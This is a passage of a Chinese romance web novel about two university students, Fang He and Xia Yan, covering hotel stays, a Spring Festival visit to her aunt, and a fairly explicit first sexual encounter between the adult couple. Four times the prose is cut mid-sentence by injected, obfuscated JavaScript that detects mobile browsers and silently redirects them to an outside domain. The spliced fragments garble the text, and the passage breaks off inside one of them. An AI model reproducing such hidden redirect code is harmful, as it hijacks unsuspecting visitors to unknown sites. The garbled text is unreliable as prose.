有翻墙看片的网站,有网盘压缩包,还有漫画……多到方禾不禁开始担心宿舍群会不会惨遭封禁。 一阵翻找耳机的窸窣声过后,宿舍再次安静了下来,这一次,四个人在做什么,彼此都心知肚明。 方禾戴好耳机,好奇地点进去一个链接,立刻被手机上的画面惊到了。 看了十多分钟,方禾觉得无聊了。 不怎么好看,里面那些男的身材还不如有些擦边博主好看。 对了,不知道夏岩脱了衣服会是什么样子……方禾缩在被子里笑得一抖一抖的,她好像知道她想约什么会了。 而且,这个会还不能白天约。 思来想去,方禾买了两张晚上的话剧票。 - 平安夜晚上飘起了小雪,从剧院出来时,还不到十点。 方禾说自己饿了,拉着夏岩去吃麻辣烫。 夏岩觉得今晚的方禾吃起东西来格外慢条斯理,还没吃完,离学校规定的门禁时间就只剩半个小时了。 “再不走,坐地铁回去可能时间不够了。”夏岩咽下方禾喂他的一颗肉丸,说道。 “那就不回去,我们不能在外面住吗?”方禾问得理所当然。 夏岩:“……” 她果然还是一如既往的大胆。 缓了缓,他挑眉,沉声道:“不能。” “哦。”方禾挫败地点点头,吃完最后一片土豆,慢吞吞站起了身。 雪花还在飘着,夏岩揽着方禾的肩走到地铁站,正要进去,方禾突然“啊”了一声。 “我好像把手机忘在店里了。” 夏岩自然就说回去拿。 两人并肩回到快打烊的麻辣烫店,却没在桌上看到手机。 “不在吗?那会丢在哪里?”方禾先是自言自语了一番,再是求助般的看向夏岩,“你给我打个电话吧,万一掉在附近还能听到铃声。” 夏岩就打了,电话拨通的那一秒,熟悉的来电铃声在方禾的大衣口袋里响起。 “原来没丢啊,那是我记错了。”方禾从衣兜里摸出手机,纳罕道,“哎,怎么回事,我现在这记性真是越来越不好了。” 夏岩:“……” 他怎么感觉今晚上的方禾怪怪的,像是在,演戏? 只是,这样来回折腾了一番,坐地铁回学校已经来不及了。 “打车吧?不然赶不上门禁。”夏岩看了看时间,提议道。 “啊,不行,我不想坐车,我晕,一听到车这个字就晕。”她攀住夏岩的胳膊,靠在他肩上,柔弱得好像下一秒就会昏过去。 夏岩给她扣上大衣帽子,隔着帽子揉她的脑袋:“那就还是坐地铁。” 方禾依然不赞同:“可是等我们大老远坐地铁回去,早就过了门禁时间了,我听说这样进去会被记晚归、被处分?” 夏岩倒是听说事后去找辅导员补一张假条就好了,可他没有晚归过,不知道这法子可不可行,也不清楚方禾的辅导员是不是好说话的人。 更重要是的,他看出来了,他女朋友今晚似乎另有所图。 夏岩:“你想怎么办?” “我啊,我先想想哈。” 方禾装模作样地思考了一阵,轻咳一声:“我刚刚看那边好像有很多酒店,要不今晚就不回去了吧,在这边住一晚,明天再慢慢回学校,我记得你明天早上好像也没有课。” 镜片后的那双狭长眼睛微微眯起:“你确定?” 方禾伸手搂住夏岩的肩膀,大幅度地点头:“确定。” “行,那就听你的。” 计划进展顺利,方禾在心里给自己比了个“耶”。 她随手指了一家酒店,带着夏岩走过去。 到了前台,夏岩还没问有没有标间,对面就先对他露出了一个饱含歉意的笑容:“不好意思两位,我们今晚已经没有空房了。” 节日期间,酒店满房也在情理之中,夏岩松了一口气,正想转头看看方禾,看看她还有什么戏要唱,身后的方禾却在这时弱弱出声:“……我有预订的。” 伴随着这道声音,一只白皙匀称的手把亮着屏的手机递过来,屏幕上赫然显示着某软件上的订房信息。 夏岩眉心一跳,她果然是故意的,非要去吃什么麻辣烫,非要撒谎说手机落在店里,目的只有一个,那就是拖延时间,拖到赶不上宿舍门禁。 知道方禾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567139|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是故意的,夏岩能怎么办?拽着她走吗?丢下她跑吗? 他不想让方禾不高兴,所以明知是局,也心甘情愿顺着她的意,乖乖交出自己的身份证。 从拿到房卡,到进到房间,夏岩都没有说一句反对的话,方禾就知道,她的计划成功了,只有一张床,他总不会非要去睡地板。 “然后呢?”夏岩把房卡插到取电处。 房间亮起,方禾看到了夏岩眼中的似笑非笑。 她被夏岩看得有些心虚,下意识低头:“什么然后?” “你成功把我拐到了房间,然后准备做什么?” “你想什么呢!”方禾捶了一下他的胸膛,“只是住一晚而已,我又没说要……” 夏岩:“嗯,我知道了。” 她没想最好,他也没想,满打满算也才谈了一个月,远不到时候。 方禾敢做,却不好意思跟他谈论那些事情,她假装打了个哈欠:“好困啊,我要洗漱睡觉了。” 夏岩坐在椅子上看着,他只愿方禾是真的困了。 他等方禾洗漱完才进浴室。 出来时,外面的灯关了,床上的被子拱起一团,方禾安静地躺着,仿佛真的睡着了一样。 昏暗的光线中,夏岩站了许久。 他要是不过去躺着,那方禾这一晚上的精心谋划就白费了,她会失望。 他轻手轻脚地走过去,掀开被子的一角。 刚躺好,方禾就卷着被子滚了过来,两只手都环上了夏岩的腰。 夏岩呼吸一紧,他能感觉到方禾的手从他的衣服下摆钻了进来,掌心毫无阻隔地贴上了他的胸腹。 粗重地吐出一口气,夏岩按住那双在他身上作乱的小手:“不是要睡觉吗?怎么一直动手动脚的?” “你不喜欢吗?”方禾感受着指腹下紧绷的肌理,说得认真,“可我喜欢摸你呀。” 夏岩:“……” “再摸两下我就睡。” 夏岩一动不动,乖乖给女朋友摸,可他女朋友这时候却不是个说话算话的人,摸了不知道多少下才撤回了手。 他剧烈起伏的胸膛刚平缓下来,方禾又说话了。 “夏岩,你冷吗?” “不冷。”相反,他很热,燥热。 “我好冷。” 真冷吗?还是又是捉弄他的借口? 夏岩平心静气,认真感受了一下房间的温度:“好像是有点。” 他下了床,找来遥控器摁了几下,又把手伸到空调的出风口试了试,得出了结论:“空调应该是坏了,吹的是冷风,不制热。” 方禾:“啊,那关了吧,别越吹越冷。” 夏岩:“我打电话给前台,让他们来看看。” “算了吧,大晚上的,我困了,现在就想睡觉。” “不冷?” 方禾拍拍一旁叠好的衣服:“我可以把我的大衣盖在被子上,再说了,不是还有你吗?你抱着我,我就暖和了。” 夏岩:“……” 他看着床上那团被子,有些怀疑:“方禾,你是故意订了一个空调坏了的房间?” “没有,怎么可能,我哪有那本事!”方禾坐起来,否认三连。 她只是想和夏岩一起睡觉而已,计划到把夏岩拐到床上就结束了。谁知道空调还会坏,不过,这可能就是天时地利?让她可以跟夏岩抱得更紧。 方禾捋好大衣就重新睡下了。 叹了一口气,夏岩认命地躺回去给女朋友当人形取暖器。 三更半夜,他不但被女朋友上下其手,还被女朋友以他的衣服摸着不舒服为由扒光了上衣。 29. 第 29 章 一夜未归,爬着楼梯的夏岩能想象到他一回宿舍可能会面临的调侃。 比如他偶尔回去得晚,周帆就会开玩笑说他是抱得美人归了,不到熄灯时间都不舍得回宿舍。 果不其然,推开门的瞬间,穿着大裤衩翘着二郎腿的周帆就敏锐地把视线投了过来。 “啧啧啧,真不错,老牛吃嫩草!” 夏岩:“……” 这话好像没什么错,他确实是老牛。 如果他不休学的话,现在都该大学毕业了,跟大一的小学妹恋爱,的确算得上是老牛吃嫩草,夏岩无法辩驳。 可他跟方禾也只差了四岁而已,应该不算太多? “让我看看你对象有没有给你种草莓。”唐诗豪也擦着头发走过来,仔细打量起夏岩的脖颈,“奇怪,怎么一点痕迹也没有。” 卷起一本杂志,举到夏岩面前:“组织需要你汇报战况。” “无可奉告。” 他才不会把和女朋友之间的亲密事说给其他人。 可他不知道,他女朋友宿舍夜聊时早就把能说的和不能说的事情都说了出去。 本来也没发生什么,而且杨惜和晓佳也都会讲这些,所以方禾说起这一夜的经过时脸不红心不跳的。 - 方禾放在阳台上的麦秆多肉一天比一天粉,当它沉淀出深沉的粉红色进入休眠状态时,寒假也到了。 这天,夏岩陪方禾上了晚课,把人送到宿舍楼下时,问她:“过两天就要放寒假了,你要留校吗?” 夏岩知道方禾不会愿意回家,所以才问她是不是要申请留校。 方禾留下的话,他也会留在学校,总之不能让她一个人孤零零地过年。 不是他不想跟方禾一起回家过年,而是,现在和两年前的那个春节不同,方禾现在是他的女朋友,那么他再带方禾回去过年,就不止是吃几顿饭那么简单了。 还没到见家长的时候,就贸然提出让方禾跟他回家,不够正式,也是对这段关系的不尊重。 “准备留几天,但我会去小姨家过年。”方禾语带笑意。 她和小姨多年未见,有一些陌生感,但小姨给她打了好几个电话了,邀请得真诚,所以方禾愿意去。 夏岩放了心,他也希望方禾过年的时候有亲人在身边。 风吹树叶,沙沙作响,蹲在花坛旁的奶牛猫软软地叫了一声,方禾远远看见一对走过来的人影,两人步伐缓慢,姿态亲密,拉着手久久没有分开。 夜色中看不清两人的模样,但能看出来他们也是情侣。 方禾的视线一瞬不瞬地盯着夏岩身后,夏岩也起了好奇,扭头去看,就看见他们抱在了一起,开始接吻。 他移开视线,感觉胸口的衣服被扯了一下。 他垂眸,对上了方禾狡黠的眸子。 “看看人家男朋友多主动,你也亲我一下。” 夏岩无奈摇头。 光线太暗,方禾没看见他眼底漾开的笑意,只感觉到唇上被人飞快地啄了一下。 夏岩揉揉她的羽绒服帽子:“好了,上去吧。” 脑袋在夏岩胸前蹭了蹭,方禾心满意足地回了宿舍。 - 期末考试完,大家陆续离校。 方禾没直接去小姨家,留校做了半个月的兼职,然后赶在腊月二十八回广青,夏岩也一直在学校待到腊月二十八,跟方禾一起去的高铁站。 方禾的回家之旅依然很麻烦,她要先从广青市里坐车到麻溪镇,再从麻溪镇坐车到村里。 这一路折腾下来,对于方禾这个晕车的人来说,简直是受罪。 但没办法,她还是要回村里去,要过年了,她得给奶奶烧纸钱。 方禾顺道跟方朝贵吵了几句,去和佳冰一起睡了一晚,第二天才搭车去镇上找小姨。 陈喜竹爸妈走得早,姐姐嫁人之后,她和爷爷奶奶相依为命,一走十年再回来时,村里哪还有亲人的影子。 陈喜竹手里有赔偿款,赵继然也有攒了好几年的积蓄,两人各拿出一部分,在镇上租了铺面,开了一家卖手擀面的店,又在镇子旁边买了房子。 这是一栋三层自建房,门前还有两块菜地。 小姨和小姨夫分别接走了她手里的礼品和行李箱,方禾站在院子里,打量起这栋房子。 外墙灰扑扑的,铁皮烟囱歪歪扭扭从厨房伸上来,房前的瓷砖用的是好几年前的老样式,一楼的水泥地裂着细缝,楼上的木地板踩上去嘎吱嘎吱地响,栏杆上依稀能看见小孩用粉笔涂鸦的加减算式。 不是那么新,但是处处都打扫得一尘不染。 厨房里挂着腊肉,阳台的竹篾席里晒着干辣椒,屋后的鸡窝有“咯咯咯”的声音,炉子上煨着散发炖肉香气的砂锅,处处都是家的感觉,完全符合方禾对于“家”这个字的期待。 “原来住的这家人要跟着小辈搬去其他城市,房子空着也没用,我们刚好赶上了他们卖房子,价钱很划算。”陈喜竹给方禾兑了一杯蜂蜜水,她记得外甥女小时候就不爱喝白开水,非要喝有甜味的水,“我们准备先这么住着,等来年手头宽裕了再翻新一下。” 面对突然冒出来的这个大外甥女,赵继然找不到话说,简单寒暄两句就赶紧溜去厨房了,比起跟人闲聊,他更擅长和锅碗瓢盆打交道。 方禾喝完蜂蜜水,楼上楼下、房前屋后地转了几圈,闲得慌,见小姨拿了几头蒜出来,就主动跑去帮忙剥。 一片蒜皮还没撕下来,方禾手里的蒜就被小姨夺走了。 “别剥蒜,这个伤指甲,穗穗要是真的闲不住,来帮我摘这个芹菜就好了。” 陈喜竹是真的喜欢方禾,当年姐姐去世的时候,她年纪还小,但那个时候她就决定等她长大了她要把姐姐的孩子当作自己的孩子疼。 在外的那些年里,陈喜竹也时常想起那个七八岁的小丫头,不知道她过得好不好。 陈喜竹是带着期待在丈夫的陪同下回来的,她期待着和家人团聚,可一回来才知道,奶奶当年一直找不到她,急出了病,没两年就走了,爷爷一个人过活,身体不好,前几年也过世了。所以,亲姐姐的女儿方禾,现在是她最亲的亲人了。 方禾心疼小姨那些年吃的苦,正如陈喜竹叶心疼没爹疼没娘爱长大的方禾,尤其是知道方禾曾经离家出走过,而且方达海那个混蛋居然就那样放任自己的女儿走了,也不说去找找,陈喜竹心里这个气啊。 在工厂的那些年吃不好睡不好,没日没夜地碰冷水。陈喜竹不会再有自己的孩子了,她只能把全部的母爱都倾注在姐姐的孩子身上。 她没自私地想让方禾替她和丈夫养老,他们两口子一起经营手擀面店,丈夫还偶尔出去帮别人拉货,赚得虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572825|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是很多,但足够他们俩过好自己的日子,不需要外甥女帮衬。 只是,等她老了,能有个人时常给她打电话问候一声,能有个人偶尔来家里看她一眼,总是好的。 春晚开场音乐响起时,菜上桌了,有萝卜炖肉、酸菜鱼、红烧猪蹄、清炒豌豆尖。 这顿饭只有三个人吃,但说说笑笑,也过得热闹。 方禾知道了很多小姨和小姨夫的事情。 依方禾的审美来看,赵继然不算是帅气的类型,但长得也算眉清目秀了,但他对小姨很好,这是最方禾最看重的一点。 那么多年的封闭生活,陈喜竹几乎跟外界失去了联系,她不知道外面的世界发展成什么样子,刚被解救出来的时候甚至连手机都不会用,是赵继然陪着她一点点适应现在的生活,他主动揽下了给救助站运送东西的活,三天两头就去找陈喜竹,暴雨夜泥石流冲垮房屋需要转移时,也是赵继然背着陈喜竹蹚过泥浆。 长年的劳作让陈喜竹落下了阴雨天会关节痛的毛病,赵继然就一直在床头备着艾草热敷包。 在陈喜竹慢慢恢复记忆,想起家乡的事情后,赵继然更是千里迢迢陪她回来找亲人,陪她在麻溪镇定居。 有说有笑地吃完了年夜饭,赵继然去厨房洗碗,方禾帮着小姨收拾桌子,坐在炉子边烤火。 窗外,烟花声和鞭炮声混成一片,听得人心里欢喜。 火烤得方禾全身都暖呼呼的,她想,这一年,她收获了一个男朋友,还找回了失而复得的小姨,多了两个爱她的人。 正想着,夏岩打电话过来了。 方禾不好意思当着小姨的面跟夏岩聊天,做贼心虚般地躲到院子外面去接电话了。 屋外空旷,方禾抬头一望,就看见了天边弯弯的月牙。 她问:“夏岩,你那边能看到月亮吗?” “我试试。” 夏岩在自己的房间,他拉开窗帘,只能看见对面的高楼和夜空中的星星。 既然有星星,就说明今晚的天气不错,理论上是有月亮的才对,看不见,可能是方位不对。 他跑去阳台看,结果也是一样。 “有吗?”方禾问。 夏岩不想说没有。 “你等我一下。” 在客厅和女儿看春晚的黄书翠就看见自家儿子抓上羽绒服就匆匆出门了。 夏珂的注意力都在小品节目上,听到关门的动静才知道她哥出去了。 “哥怎么急吼吼地就出门了?出什么事了吗?”沙发上的少女扭头望向玄关的方向。 黄书翠轻拍女儿的手背:“没事,我们看节目吧。” “没事干嘛突然跑出去?” “不知道,但总归不会是什么坏事。” 看儿子打电话的温和神情,嘴角不自觉勾起的浅笑,分明是在和女朋友打电话,那能有什么事,无非就是多出去说些悄悄话罢了,黄书翠一点也不担心。 “你出门了?”方禾听到了开关门和下楼梯的声音。 “嗯。” 方禾:“大晚上的,去哪里?买东西吗?” 夏岩:“找月亮。” 方禾:“啊?” 反应了两秒钟,方禾笑出了声:“我刚刚只是随口一说。” “我知道。” “但我想和你看同一轮月亮。” 30. 第 30 章 远处又有人家在放烟花了。 方禾望着忽明忽暗的夜空,听见电话那头的人似乎也笑了,心头一暖。 认识夏岩的时候,方禾就感觉他应该不是一个懂浪漫的人,在一起之后,这个想法也得到证实。 夏岩对她很好,但却没有浪漫和惊喜可言,只会一本正经地送花送礼物给她,连亲吻都是克制的。 今晚嘛,方禾觉得夏岩还是挺有情趣的,她随口的一句话,就让他执拗地冒着寒风半夜出门,只为和她一起看月亮。 “找到了,我看到月亮了。” 听筒里传来夏岩温柔的嗓音,方禾再次看向天边的弯月时,仿佛也能看见几百公里外夏岩抬头望月的样子。 山里夏天凉快,冬天冷得刺骨。 在院子里站了没一会儿,方禾拿着手机的右手就被冻得受不了。 她换了一只手拿手机,对着右手指尖哈了一口气,再把手揣进衣服口袋里暖着,给夏岩讲她晚上吃了什么,明天准备做些什么。 夏岩认真地听她说完,看着地上自己的影子,“穗穗,我过两天来找你。” 方禾单脚跳了几下,对着听筒,明知故问:“为什么?” 夏岩知道她想听什么,顺了她的意,说:“想你了。” “那你就在火车站等我,我来市里跟你汇合。” 这次轮到夏岩问为什么了,他是准备去镇上找方禾的,不想让她来回坐车。 她晕车,坐车会难受。他还记得她上次晕车时头晕眼花、全身无力的样子。 “因为,”方禾压低声音,“镇上的酒店不如市里的好,住着不舒服。” “再不舒服也是我住,你可以继续住在你小姨家。” “不行,我要和你住在一起。” 夏岩:“……” 他轻咳了一下,声音微哑:“方禾,我过来找你不是为了这个。” “我知道,但我是为了这个嘛。” 夏岩能听出她上扬的尾音,无奈地笑了笑。 - 大年初四,方禾吃过早饭,帮小姨喂了鸡,就进屋化妆了。 她换上小姨给她买的长裙和大衣,跨上毛茸茸的包包,搭车去市里。 为了显得有仪式感,去火车站前,方禾还专门去买了一小束玫瑰花。 时间卡得刚刚好,她到出站口的时候,夏岩也出来了。 她踩着加绒小皮鞋跑过去,把花塞进男朋友怀里,让男朋友欣赏她忙活了一个多小时的妆容。 夏岩没顾得上去看花,视线全在女朋友的脸上。 他不懂化妆,听方禾兴致勃勃地说起那些口红色号、睫毛胶、高光、眼影时,他也听不太懂。 方禾能出夏岩眼中的茫然,可即便不懂,夏岩还是认真地听,认真地夸她漂亮。 “走吧,先去吃午饭,下午去爬山,晚上我请你吃蒸鱼。”方禾挽着夏岩的胳膊,说起她的安排。 方禾很少来市里,虽然是广青人,但广青的景点她都没有去过,网上很多人推荐的美食她也没去吃过,这次倒是可以借着陪夏岩的机会好好逛一逛这座她既熟悉又陌生的城市。 方禾选的是公园里的山,坡度和缓,走起来不会太累,午后阳光好,也不会冷。 两人手牵着手,沿着青石板路慢慢往上走。 道路两旁,是修剪整齐的灌木丛和错落有致的树,再爬高了些,还能俯瞰整个广青市区的景色。 其他好像就没什么看头了,不过他们俩都是第一次来,倒也能看个新鲜。 在山顶看完日落,两人坐着缆车下山吃晚饭了。 裹满黄豆粉的鱼肉细嫩鲜香,配上面片鱼头汤,两个人都吃得饱饱的。 方禾打了个哈欠,催着夏岩去酒店办入住。 和上次一样,这次他们也住的是大床房。 方禾洗漱完,瘫倒在床,一副累得走不动路的样子。 夏岩笑笑,转身进了浴室。 十多分钟后,浴室的门吱呀一声打开了,夏岩擦着头发走出来,身后是蒸腾的水汽。 刚刚还一脸疲惫的姑娘现在正靠在床头看手机,看起来精神不错。 夏岩走过去挨着方禾躺下,两个人抱在一起黏糊了一会儿,准备睡觉。 就在夏岩以为今晚也会相安无事的时候,方禾环在他腰身的手往上挪,挠了挠他胳肢窝下的痒痒肉,小声问:“我们什么时候做啊?” 这话来得突然,夏岩一时没反应过来,下意识地反问:“做什么?” “爱。” 愣了两秒钟,意识到方禾在说什么,夏岩被这姑娘的直白和大胆惊到,喉咙里的话还未出口,先被口水呛得咳了起来。 止住咳声,他极不自然地说:“……太早了不好。” “不早了呀,我们都谈了两个月了,如果从我喜欢你开始算起,都快两年半了。” 夏岩很坚持:“起码要等你到了二十岁。” 方禾一听,急了:“那怎么行!” 网上都说了,男人的花期很短,二十出头,一天一天地就要开始走下坡路。 所以她得抓住夏岩的黄金期,不然以后就只能拥有走在下坡路的夏岩了。 夏岩面露不解:“怎么不行?” “我……”方禾变得吞吞吐吐,有些不好意思,但还是老实说出了她的顾虑,“我这不是怕你年纪越来越大,身体,咳咳,那什么。” 说到最后,她的声音越来越小,细若蚊蝇,但夏岩还是听到了。 这姑娘口无遮拦,听得他眉心突突直跳。 夏岩深深喘了几口气,强压下心头的火,对着眼前不管有意无意都能勾得他心里发痒的女朋友说:“放心。” 他几乎是在咬着牙说:“我下坡之前一定给你,好不好?” 离得这样近的,方禾能感受到夏岩急促的呼吸,她想,晚一天,不就离走下坡路近一天吗?所以当然是越早状态越好了? 想到这里,方禾不乐意了:“择日不如撞日,就今天。” 夏岩捏了捏她脸颊的肉,无奈道:“今天真不行。” 方禾意兴阑珊:“哦。” “你很急?” “没有!”方禾辩解道,“我才不急,我就是,有点好奇。”好奇是不是真的像小电影和小说里描绘得那样舒服。 “不急就好。” 夏岩是真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578397|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得现在的时机不对。 才在一起几十天,没谈过恋爱的方禾对他还新鲜,所以满心满眼都是他,所以想和他一起做很多事情。她也许不是真的想清楚了,只是好奇,只是馋他的身体而已? 她现在只考虑怎么开心,怎么高兴,根本没有考虑现实,她或许还没意识到,和他在一起,以后的路可能会很辛苦。 等过了热恋期,她冷静下来了,那个时候或许她才会发现,她其实有很多更好的选择,没必要执着一个年少时喜欢的穷小子。 太早去占有她,对她,对这段感情,都不好。 方禾不知道夏岩几秒钟就想了那么多,她还是淡淡地“哦”了一声。 “睡吧。”夏岩揉着她的脑袋,把人按进怀里抱着睡。 呼吸平复,夏岩又想到了另一桩事。 “你是不是还没打九价?” “没呢。”山村里对性教育闭口不谈,方禾以前都没听说过这种疫苗,还是来了大学之后才听舍友们说起的。 她知道有必要打,但看到还需要抢,她就觉得麻烦,忙着忙着,也就忘了这回事了。 “明天把身份证号发我一下,我给你预约,到时候陪你去打。” 九价最好在第一次性生活之前打。 那件事情,不仅方禾期待,夏岩也期待。 期待归期待,他得保护好她。 而且,打完三针九价至少也需要半年时间。 这半年,应该足够让方禾弄清楚一些事情。 她到底年纪小,夏岩怕她根本就没想明白这意味着什么,只是因为好奇就冲动说想做。 “唉。”方禾叹道,“早知道我就早点去打针了,还得等好几个月,只能看不能吃的滋味可真难熬。” 夏岩喉头一紧,心想,她究竟知不知道自己在说什么?她就真的不怕她这些有意无意的话把他刺激得忍不住吗? 怪他对她太好了,让她察觉不到危险。 他想把这个口无遮拦的姑娘按到床上,全身上下亲个遍,亲到她脑袋晕晕,忍不住战栗,亲到她额头渗出细汗,这样,她就没力气说那些让他心里发痒的话了吧? 面对喜欢的姑娘,夏岩的自制力并没有他以为的那么好,他也会有冲动,尤其是在方禾或无意或刻意的撩拨下。 他亲了亲她粉粉的耳垂,在她耳边说:“不是好奇吗,我先让你舒服,好不好?” 夏岩的气息就在她耳畔,热热的,痒痒的,方禾咽了咽口水,有些害羞,但更多的是兴奋:“怎么让我舒服?” 夏岩没回答,只是伸长胳膊去把灯给关了。 房间里瞬间黑了。 凌乱的被褥间,夏岩贴了过来,从方禾的锁骨开始,一点点往下亲。 方禾觉得自己不是一个特别容易害羞的人,但这一刻,她还是被夏岩弄得脸红心跳。 宿舍夜谈时聊到性癖,方禾那时还说不清楚自己喜欢什么,现在嘛,她好像知道了,她喜欢夏岩在她耳朵边的喘息。 喜欢听他沙哑的尾音。 喜欢他落在她肩胛骨上的吻。 喜欢他环在她腰后那只温暖的手,喜欢他微潮的发梢扫过她的膝头。 31. 第 31 章 陈喜竹和赵继然正月初六就去店里打扫卫生了,正月初七正式开始营业。 正月里赶集的人多,连带着店里的生意也还不错。 方禾白天没什么事,也去店里帮忙。佳冰来镇上赶集的时候,她就和佳冰一起去买醪糟小汤圆喝。 元宵节后,方禾回了学校。 放在宿舍阳台的麦秆多肉已经变成了鲜嫩的浅绿色,她知道,春天来了。 春天呀,是充满希望的季节。 一开学就有两件让方禾开心的事情发生,一件是她和夏岩都评上了一等奖学金,另一件是,她成功在选课的时候抢到了健康心理学的课。 选这个专业的时候方禾准备毕业后去当园林设计师,但现在她有了新的想法。 她照旧忙在专业课、学生活动和兼职中间忙碌,还有各种志愿活动,有时去敬老院陪老人种菜,有时去社区花园教自闭症儿童种花。 忙碌之余,方禾还是很喜欢和夏岩待在一起。他们有时候是陪对方上公共课,有时候是一起下馆子,有时候去逛博物馆,有时候也什么都不做,就静静地靠在一起,闭上眼感受彼此的呼吸。 - 桂花香悄然充满整个校园的时候,方禾大二了,夏岩也已经到了该秋招找工作的时候。 不管是平时聊天还是约会的时候,方禾都没问过夏岩会找什么样的工作、找哪里的工作。 和夏岩在一起哪哪都好,唯独不能同一年毕业这一点很不好。 方禾不怕两人因为空间上的距离而分手,但她有点怕夏岩已经早早工作,而她还是个学生,两个人之间不再同步,差距越来越大,会没有共同语言。 这两年方禾成长了不少,对待感情不再像从前那么幼稚,她明白,如果两个人的感情连现在的这些考验都经受不住,大概未来也不能长久地走下去。 所以,顺其自然就好。 顺利拿到榆南一家药企的offer后,夏岩主动来问方禾以后想在哪里定居。 方禾认真想了想,说:“不知道。” 长这么大,方禾好像只明确地有过三个愿望。 第一个,好好学习,考个好大学,让奶奶高兴。 第二个,逃离那个家,再也不要回去。 第三个,把落下的功课捡起来,考上榆南大学。 算起来,也只有第三个愿望是完完全全实现了的。 上了大学之后,方禾好像就没有关于未来的愿望了,只认认真真地过好每一天,好好上课,好好看专业书,好好谈恋爱。职业规划有了一点点,但还没有往长远的地方想。 奶奶不在,广青没什么值得她留恋的。榆南嘛,又大又繁华,可一望去遍地的高楼大厦让她很没有归属感。 所以,方禾自己也不清楚以后想定居在哪个城市。 “那你先慢慢想,不管怎么样,这两年我都会陪你待在榆南。” 夏岩不想异地,所以在方禾毕业之前,他都不会离开榆南,至于以后会去哪里,就看方禾的喜好了。 虽然方禾跟家里人的关系并不好,但广青毕竟是她的家乡,她可能会想念那里的山水,想念她从小吃到大的饭菜口味。 如果她想回广青,他就陪她回去。 如果她想留在榆南,他就陪她留下。 她就是他的原则。 - 方禾二十岁的生日过后,很快就到了他们俩恋爱一周年的纪念日。 在一起的时间够长,九价也打过了,这一晚会发生什么,两个人都心知肚明。 窗帘外,夜幕低垂,霓虹闪烁的城市依旧喧嚣。 窗帘里,床头灯暖黄的光落在两人身上,两人身上的衣服落在实木地板上。 “今天要来真的吗?”方禾探过身子,取下夏岩鼻梁上的半框眼镜,放到床头柜上。 “嗯。” 夏岩眯起眼睛,好在她此刻就躺在他身旁,很近,眼睛适应片刻后,他能看清她红润的唇,水润的眼,以及灯光下像是披上了一层柔光的肌肤。 “这可是你自己说的,等会儿可不能又半路反悔跟我说什么下次。” 想到夏岩前几次的中途变卦,方禾捏捏他的鼻子,觉得有必要先跟他说一说,免得她被勾起了兴趣,这人却又抽身离去。 “你不反悔就行。”他说着,吻落在她的唇角。 她抬手,指尖虚虚掠过他的眼睑,笑道:“我才不会反悔。” 她喜欢夏岩。 喜欢他的性格,也喜欢他的男色。 “嗯,我也不会让你后悔。”给她幸福,是从跟她在一起那一刻就认定的事情,他这辈子都不会做会让她感到后悔的事情,这是他在心底给方禾的承诺。 “要不要关灯?”夏岩问。 “关吧,但不要全关。” 夏岩懂了,关掉房间的顶灯,只留了一盏床头的小灯。 有过半年多的边缘亲密,这时候的方禾并不觉得害羞,只隐隐期待着等会夏岩会给她带来哪些感受。 昏暗中,衣料和床单摩擦的声音格外清晰。 被子下,是擂鼓般的心跳声,分不清是谁的,大概两个人的心都跳得很快。 夏岩吻过方禾的唇和下巴,然后又沿着她白皙修长的脖颈一点一点往下亲。 不知怎的,夏岩忽然就想到了那年方禾塞进他嘴里的那颗小番茄。 好像也是这般的圆润,饱满,清甜可口…… 夏岩有得是耐心,不急着上正餐,极尽温柔的前戏吊足了方禾的胃口。 他一直亲,亲到她全身都软绵绵,亲到她的脸颊染上撩人的粉色,双眼也蒙上了一层水雾,才慢慢沉下身,一点一点将自己送给她。 方禾搂紧了夏岩的脖子,将整个人都埋进他怀里。 她不知道该怎么描述自己所感受到的。 滚烫,饱胀,有些难耐,但没有很疼。 第一回的时间并不长。 方禾没有看具体的时间,但她能感觉到,好像,似乎,应该没有她和舍友一起看的小电影里的时间长? 夏岩抱着她,亲吻她汗津津的脖颈的时候,方禾懵懵地望着天花板。 她在想,完了,所以还是晚了吗? 还是错过了夏岩的花期? 想到这些,方禾觉得苦闷,又有些失落,眉头也不由的皱了起来。 夏岩看她皱着一张小脸,心里慌了:“怎么了?是我哪里做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 